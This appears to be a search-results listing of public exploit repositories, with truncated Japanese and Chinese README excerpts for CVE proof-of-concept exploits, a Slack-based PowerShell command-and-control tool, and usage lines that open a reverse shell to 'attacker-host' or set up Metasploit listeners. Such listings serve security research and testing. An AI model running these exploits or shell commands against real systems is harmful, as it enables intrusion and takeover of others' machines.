319787 matches found
CVE-2020-17530
CVE-2020-17530 s2-061 PoC:...
CVE-2021-26700
NPM VSCode 拡張機能における RCE 2021 年 2 月 10 日に修正: https://github.com/microsoft/vscode-npm-scripts/commit/cdd5e507564e0cc0f60bcccf184822be3fd73e07 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26700 概要 VSCode 拡張機能 eg2.vscode-npm-script バージョン 0.3.13 でテスト済み にはリモートコード実行の脆弱性があり、プロジェクト内の悪意のあ...
cve-2019-6453-poc
CVE-2019-6453: カスタムURIプロトコルハンドラを通じた引数インジェクションによる mIRC 7.55 のRCE 私たちは、irc:// URIプロトコルハンドラを通じて mIRC にリモートコード実行の脆弱性を発見しました。mIRC は引数リストの終わりを示す -- のようなシジル（区切り記号）を使用していないため、攻撃者は irc:// リンクを介して mIRC に引数を渡し、攻撃者が制御する Samba ファイルサーバーからカスタムの mirc.ini を読み込むことで任意のコードを実行できます。ircs:// も同様に動作することに注意してください。 PoC...
CiscoExploit
CiscoExploit Cisco スキャン IP/Port/HostName/Boot/Version https://www.cnblogs.com/k8gege/p/10679491.html CVE-2019-1821 Cisco Prime Infrastructure リモートコード実行 https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html Cisco SNMP RCE...
CVE-2017-12561
CVE-2017-12561 - HPE iMC dbman 释放后使用漏洞 对 CVE-2017-12561 的技术分析，这是 Hewlett Packard Enterprise Intelligent Management Center iMC 的 dbman 服务中的一个释放后使用漏洞。 概述 该漏洞影响该服务对操作码 10012 的处理。不正确的对象生命周期管理允许再次访问先前已释放的对象，从而导致内存损坏。 根据 ZDI-17-836，该缺陷无需身份验证即可触发，并且可以允许以 SYSTEM 权限执行远程代码。dbman 服务默认监听 TCP 端口 2810。 关于本研究...
CVE-2007-2447
CVE-2007-2447 CVE-2007-2447 - Samba usermap スクリプト。 https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 使用法: $ python usermapscript.py RHOST -- ターゲットアドレス RPORT -- ターゲットポート TCP : 139 LHOST -- リスンアドレス LPORT -- リスンポート インストール sudo apt install python python-pip pip install --user pysmb git...
CVE-2025-47577
CVE-2025-47577 - WordPress TI WooCommerce Wishlist でアップロードされた画像パスを確認 💾 有効なアップロード画像URLを result.txt に保存 💾 有効なウィッシュリストURLを resultwishlist.txt に保存 🧠 研究者 クレジット: Patchstack Database 🚀 使い方 1. list.txt ファイルに対象ドメインのリストを準備します（1行に1ドメイン、http なし）。 2. アップロードするファイル（例：hinata.jpg）を同じフォルダに配置します。 3. スクリプトを実行します：...
CVE-2024-21413
CVE-2024-21413 - Expect Script POC（概念実証） Microsoft Outlook の資格情報漏洩およびリモートコード実行の脆弱性（CVE-2023-21716 と連鎖させ、プレビューペイン経由で） CVSS:3.1 9.8 / 8.5 Outlook は外部リンクを開く際のリスクについて警告するはずですが、実際はそうではありません。 使い方: ./cve-2024-21413.sh mx.fqdn port sender recipient url ./cve-2024-21413.sh mail.mydomain.com 25...
CVE-2024-7120
Raisecom デバイス コマンドインジェクション CVE-2024-7120 概念実証! 概要 RAISECOM Gateway デバイス（モデル MSG1200、MSG2100E、MSG2200、MSG2300）においてコマンドインジェクションの脆弱性が確認されました。この脆弱性により、リモートの攻撃者が Web インターフェースを介してシステム上で任意のコマンドを実行できます。問題は listbaseconfig.php スクリプト内、特に template パラメータにあり、インターネット上の 25,112 台以上のデバイスに影響を及ぼします。 ✔ FOFA :...
CVE-2017-8759
エクスプロイトツールキット CVE-2017-8759 - v1.0 エクスプロイトツールキット CVE-2017-8759 - v1.0 は、ペンテスターやセキュリティ研究者が Microsoft .NET Framework RCE を迅速かつ効果的にテストするための便利な Python スクリプトです。複雑な設定なしに、悪意のある RTF ファイルを生成し、Metasploit / Meterpreter / その他のペイロードを被害者に配信できます。 免責事項 このプログラムは教育目的のみに使用してください。許可なく使用しないでください。通常の免責事項が適用されます。特に、私...
CVE-2021-42013
CVE-2021-42013 - Apache 2.4.50 パストラバーサル & リモートコード実行 RCE ⚠️ 教育および許可されたセキュリティ研究目的のみ 元のエクスプロイト作成者 元のPoC作成者であるWalnut Security Services Pvt. Ltdに深く感謝します。 説明 攻撃者はパストラバーサル攻撃を使用して、Aliasのようなディレクティブで設定されたディレクトリ外のファイルにURLをマッピングする可能性があります。これらのディレクトリ外のファイルが通常のデフォルト設定「require all...
CVE-2025-1302
CVE-2025-1302 ★ CVE-2025-1302 JSONPath-plus RCE PoC ★ https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb ラボのセットアップ docker build -t jsonpath:10.2.0 . docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0 localhost:3000 説明 jsonpath-plus パッケージの 10.3.0...
CVE-2020-3956
CVE-2020-3956 VMware Cloud Director のRCE（CVE-2020-3956）に対するPoCエクスプロイト 技術アドバイザリはこちらから入手できます： https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/...
CVE-2022-23940
CVE-2022-23940 CVE-2022-23940 の PoC（別名 SCRMBT-187 ） - SuiteCRM（= 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940 使用例: Spawning a PHP Reverse shell to attacker-host on port 4444 ./exploit.py -u user -p redacted --payload "php -r...
Xstream-1.4.17
Xstream-1.4.17 （上記のXstream Demo環境は本人が構築したもので、脆弱性の悪用環境はJDK1.8u131を基準としています。現在はローカルテストとHTTPリモートでのパケット送信に対応しています） XSTREAM=1.4.17 の脆弱性再現（CVE-2021-39141、CVE-2021-39144、CVE-2021-39150、CVE-2021-39152）...
Spring4Shell-POC
Spring4Shell PoC 应用程序 这是一个存在 Spring4Shell 漏洞（CVE-2022-22965）的 Docker 化应用程序。war 包的完整 Java 源代码已提供且可修改，每次构建 Docker 镜像时都会重新构建 war 包。构建好的 WAR 包随后会由 Tomcat 加载。这个应用程序没有什么特别之处，它只是一个基于 Spring 教程 的简单 hello world。 详情：https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities 要求 1. Docker 2. Python3 +...
SlackShell
SlackShell 描述与更新日志 v1.0 此PowerShell模块包含多种利用Slack API创建命令与控制通道的函数。主函数Start-Shell会连接至用户指定的Slack频道，并使用提供的API认证令牌对指定Slack团队和用户进行身份验证。频道中输入的任何命令都将在主机上的PowerShell中执行。 SlackShell项目需要PowerShell v3及以上版本，因为其使用Invoke-RestMethod进行API调用。未来开发将继续使用当前PowerShell...
CVE-2024-36401-PoC
CVE-2024-36401-PoC CVE-2024-36401 GeoServer の概念実証エクスプロイト 脆弱な GeoServer のバージョンは 2.23.6 | 2.24.4 | 2.25.2 より前です !!! セキュリティテスト目的のみ !!! 明示的な許可がない限り、所有していないシステムでは 使用しないでください !!! 実行手順... 1. Metasploit でリスナーを起動します msf6 use exploit/multi/handler msf6 exploitmulti/handler set payload...
CVE-2020-5902-Scanner
CVE-2020-5902-Scanner Python 3で書かれた自動化F5 Big IPリモートコード実行 CVE-2020-5902 スキャナー 脆弱性の説明 2020年6月30日にF5は重大なリモートコード実行の脆弱性 CVE-2020-5902 を公開しました。これは複数のバージョンのBig IPに影響します。 攻撃者は未公開ページのTMUI Traffic Management User Interface に存在するRCEとLFIを容易に悪用できます。 要するに、これはCVSSスコア10のリモートコード実行およびローカルファイルインクルージョンの脆弱性の一種です。...